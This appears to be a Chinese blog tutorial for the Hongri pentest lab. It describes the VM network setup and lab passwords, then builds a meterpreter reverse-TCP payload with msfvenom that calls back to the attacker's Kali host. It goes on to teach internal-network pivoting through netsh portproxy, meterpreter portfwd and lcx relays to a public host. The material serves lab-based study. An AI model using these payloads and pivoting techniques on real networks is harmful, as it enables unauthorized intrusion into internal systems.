在进行渗透测试过程中会遇到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器,这一过程就叫做内网转发。
红日靶场(一)搭建
推荐博客:[WEB安全]红日靶场(一)环境搭建
初始密码:hongrisec@2019
设置好网段如下:
在此划分出 VMnet1 和 VMnet8 两个网段,VMnet1 为 Windows 虚拟机的内网网段,VMnet8 为模拟的外网网段。
可以在物理机 win11 上查看:
win2003 太抽象了,所以换成 win2019 。
最终形成的 IP 划分情况如下:
主机 | IP地址 |
---|---|
物理机 win11 | 192.168.217.1( VMnet8 的 IP ) |
win7 边界服务器 | 外网IP:192.168.217.137;内网IP:192.168.52.143 |
win2008 | 内网IP:192.168.52.138 |
win2019 | 内网IP:192.168.52.128 |
win2003(弃用) | 内网IP:192.168.52.141 |
提示密码过期,那么我们重新设置一下密码:
win7:win7@test
win server 2003(弃用):win2003@test
win server 2008:win2008@test
win server 2019:Administrator - ChinaSkills22
内网环境至此就搭好了,其中 win7 为边界服务器,在外网中开放,而 win2008 和 win2019 不对公网开放。
在测试时,一定要将 Windows 的防火墙全部关闭哦~
但是,按照上面的搭建方法,即使 kali 在 VMnet8 网段中,也能访问到 VMnet1 网段(即内网)的机器,这明显不符合要求。因此,我将 kali 与 win7 的其中一个网卡设置为桥接网卡,抛弃了 VMnet8 网段,但也因此无法使用校园网。在这种情况下,kali 就只能访问 win7 的外网 IP ,而无法访问内网网段了。
此时我的 kali IP:192.168.43.173,win 7 外网 IP:192.168.43.136 。
之后遇到的问题就是 shell 没有办法上传到 win7 虚拟机上,无论是复制粘贴还是 mount 挂载,于是我又做了一些调整,将 win2019 作为边界服务器,在外网开放,而 win7 则作为内网机器。
此时我的 win2019 的外网 IP 为:192.168.43.13 。
xampp
XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建站集成软件包。
perl
Perl 是由 Larry Wall 设计的,并由他不断更新和维护的编程语言。
Perl 具有高级语言(如 C )的强大能力和灵活性。事实上,你将看到,它的许多特性是从 C 语言中借用来的。
Perl 与脚本语言一样,Perl 不需要编译器和链接器来运行代码,你要做的只是写出程序并告诉 Perl 来运行而已。这意味着 Perl 对于小的编程问题的快速解决方案和为大型事件创建原型来测试潜在的解决方案是十分理想的。
Perl 提供脚本语言(如 sed 和 awk )的所有功能,还具有它们所不具备的很多功能。Perl 还支持 sed 到 Perl 及 awk 到 Perl 的翻译器。
简而言之,Perl 像 C 一样强大,像 awk 、sed 等脚本描述语言一样方便。
通过上传 shell 使 kali 控制 win2019
mount 挂载共享文件夹
创建要共享的文件夹:
1 | mkdir /mnt/myshare |
挂载共享文件夹:
1 | mount -t cifs -o username=miao,password=Ab123456 //192.168.43.13/tiquan /mnt/myshare |
查询挂载状态:
1 | mount |
解除挂载:
1 | umount /mnt/myshare |
msf 生成 payload:
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.43.173 lport=4444 -a x64 -f exe -o shell.exe |
通过 mount 挂载的共享文件夹将 shell 传到 win2019 上:
1 | cp shell.exe /mnt/myshare/shell.exe |
进入 msf 控制台:
1 | msfconsole |
使用 use 进入模块,exploit/multi/handler 是 msf 的侦听模块:
1 | use exploit/multi/handler |
设置 kali 的 IP 和端口号:
1 | set payload windows/x64/meterpreter/reverse_tcp |
开启监听:
1 | run/exploit |
此时在 win2019 上执行 shell.exe 即可。
从 meterpreter 进入 Windows 命令行:
1 | shell |
解决编码问题:
1 | chcp 65001 |
内网渗透-端口转发
在进行渗透测试过程中会遇到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器,这一过程就叫做内网转发。
端口映射(Port Mapping)和端口转发(Port Forwarding)是网络配置中的两个概念,虽然有相似之处,但它们在用途和实现上有一些不同之处。
端口映射(Port Mapping)
定义: 端口映射是一种将一个特定的端口号映射到另一个端口号的技术,通常用于路由器或防火墙来允许外部设备通过特定端口访问内部网络中的设备。
用法:
- 通常用于在内网(如局域网)中的某个设备(如服务器)需要被外部网络访问时,路由器或防火墙通过将外部请求的端口映射到内部设备的相应端口来实现。
- 例如,外部设备通过访问路由器的端口 80 来访问内网服务器的端口 8080 。
示例: 假设你有一个家庭网络,其中一台计算机运行一个 Web 服务器,监听端口 8080 。你希望外部用户能够通过访问你家庭网络的公共 IP 地址上的端口 80 来访问这个 Web 服务器。
- 公共 IP 地址:203.0.113.1
- 内部 IP 地址:192.168.1.100
- 内部 Web 服务器端口:8080
在路由器上设置端口映射,将公共 IP 的端口 80 映射到内部 IP 地址的端口 8080 :
1 | 203.0.113.1:80 -> 192.168.1.100:8080 |
端口转发(Port Forwarding)
定义: 端口转发是一种将网络流量从一个 IP 地址的特定端口重定向到另一个 IP 地址的特定端口的技术。这通常用于将外部网络的流量重定向到内部网络中的特定设备。
用法:
- 主要用于将外部网络的请求转发到内网中的设备,以实现对内网资源的访问。
- 比端口映射更广泛,通常不仅仅是端口号的映射,还包括 IP 地址的重定向。
- 通常用于允许外部设备通过路由器或防火墙访问内网设备上的服务。
示例: 与上例类似,但这次我们不仅重定向端口,还重定向流量到另一个内部设备:
- 公共 IP 地址:203.0.113.1
- 内部 Web 服务器 IP 地址:192.168.1.100
- 内部 Web 服务器端口:80
设置端口转发,将公共 IP 的端口 80 上的流量重定向到内部 Web 服务器的 IP 地址和端口:
1 | 203.0.113.1:80 -> 192.168.1.100:80 |
区别总结
- 端口映射(Port Mapping):主要涉及端口号的映射,可以将外部端口映射到内部不同的端口。常用于在路由器或防火墙上设置特定的端口映射规则。
- 端口转发(Port Forwarding):不仅可以涉及端口号的重定向,还可以涉及 IP 地址的重定向。常用于将外部网络的请求转发到内网中的设备,以实现对内网资源的访问。
尽管术语有时可以互换使用,但严格来说,端口转发更广泛,包含了端口映射的功能,但也涉及更复杂的流量重定向规则。
windows 命令行下用 netsh 实现端口转发
自 Windows XP 开始,Windows 中就内置网络端口转发的功能。任何传入到本地端口的 TCP 连接( IPv4 或 IPv6 )都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门用于侦听该端口的服务。
在 Linux 中,使用 iptables 可以非常轻松地配置端口重定向。在 Windows Server 系统上,我们可以使用命令 Netsh 的 Portproxy 模式配置 Windows 中的端口转发。
netsh 命令已经推出很长时间,在 Windows 2000/XP/2003 中均带有 netsh 命令。Windows Server 2008 只是对 netsh 的参数项做了些扩展。
用法:
1 | netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport |
add v4tov4 - 添加 IPv4
listenaddress - 等待连接的本地 IP 地址。
listenport - 本地侦听 TCP 端口。
connectaddress - 将传入连接重定向到本地或远程 IP 地址(或 DNS 名称)。
connectport - 一个 TCP 端口,来自 listenport 的连接会被转发到该端口。
本地端口转发到本地端口示例:
将本地端口 3389 转发到本地端口 3340 ,其中,本地 IP 为 10.1.1.110 :
1 | netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 |
使用 netstat 确定 3340 端口当前处于被侦听状态:
1 | netstat -ano | findstr:3340 |
显示系统中的转发规则列表:
1 | netsh interface portproxy show all |
在我们的例子中,只有一个转发规则即从3340到3389端口的转发:
1 | Listen on ipv4: Connect to ipv4: |
删除指定的端口转发规则:
1 | netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110 |
清除所有当前的端口转发规则:
1 | netsh interface portproxy reset |
重要:以上端口转发仅适用于 TCP 端口,对于 UDP 端口将不起作用,并且不能使用 127.0.0.1 作为连接地址。
将其他机器的端口转发至本机端口,比如将 192.168.100.101 的 3389 端口转发至本机的 3389 端口:
1 | netsh interface portproxy add v4tov4 listenport=3389 connectport=3389 connectaddress=192.168.100.101 |
这样执行完以后,访问本机的 3389 端口就可以访问到 192.168.100.101 的 3389 端口了。
3389 端口通常为 Windows 的远程桌面连接,因此需要先开启 Windows 的远程桌面连接才能实现端口转发,开启后,使用以下命令查看端口开放情况:
1 | netstat -an |
可以看到 3389 端口已开放:
MSF portfwd 端口转发与端口映射
portfwd 是借用 meterpreter shell 建立的连接进行数据传输,达到端口转发的目的。
使用 portwd 进行端口转发:
1 | meterpreter > portfwd add -l 1111 -r 127.0.0.1 -p 3389 |
-l 表示 localhost ,即 kali 本机;
因为此时已经与 Windows 目标机器建立了连接,所以 127.0.0.1 指的是已经被拿到 shell 的这台 Windows 机器。
配置完成后,访问 kali 的 1111 端口,就会转发到 Windows 目标机器的 3389 端口。
如果将 127.0.0.1 换成其他与 Windows 目标机器处于同一内网的 IP ,那么就可以直接将内网中的其他机器映射到 kali 上,实现内网穿透。
查看是否建立端口转发连接:
1 | portfwd list |
按本地端口号删除删除连接:
1 | portfwd delete -l 1111 |
lcx.exe 端口转发工具
lcx.exe 是一个端口转发工具,有 Windows 版和 Linux 版两个版本,Windows 版是 lcx.exe ,Linux 版为 portmap 。
下载链接:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
Linux 中的使用
Linux 中下载:
1 | wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip |
查看帮助文档:
1 | ┌──(root㉿kali)-[~/lcx_vuln.cn] |
这里有一个 -m 参数这个参数的解释:以哪种方式来用这个工具,然后下面有三个方式:
1.监听 port1 端口并且连接主机 2 的 port2 端口
2.监听 port1 和 port2 端口
3.连接主机 1 对应的端口和主机 2 对应的端口
示例
将本机的 6666 端口映射到 192.168.164.8 主机的 22 端口:
1 | ./portmap -m 1 -p1 6666 -h2 192.168.164.8 -p2 22 |
将本地 7777 端口上的服务转发到 6666 端口上:
1 | ./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777 |
将本地 22 端口转发到外网机器上的 6666 端口:
1 | ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666 |
Windows 中的使用
1、lcx 内网端口转发,内网穿透
把内网主机的 3389 端口转发到具有公网 ip 主机的 4444 端口:
1 | lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389 |
监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口:
1 | lcx.exe –listen 4444 5555 |
此时,RDP 连接,Windows 命令行下输入 mstsc ,即可打开远程桌面连接。
2、本地端口转发
由于防火墙限制,部分端口如 3389 无法通过防火墙,此时可以将该目标主机的 3389 端口转发到防火墙允许的其他端口,如 53 端口:
1 | lcx -tran 53 目标主机ip 3389 |
各种端口转发后如何连接
80 端口:直接浏览器访问即可;
3389 端口:使用 rdesktop 命令,如:
1 | rdesktop 127.0.0.1:3389 |
3306 端口:使用 mysql 命令,如:
1 | mysql -u [用户名] -p [密码] -P [端口号] |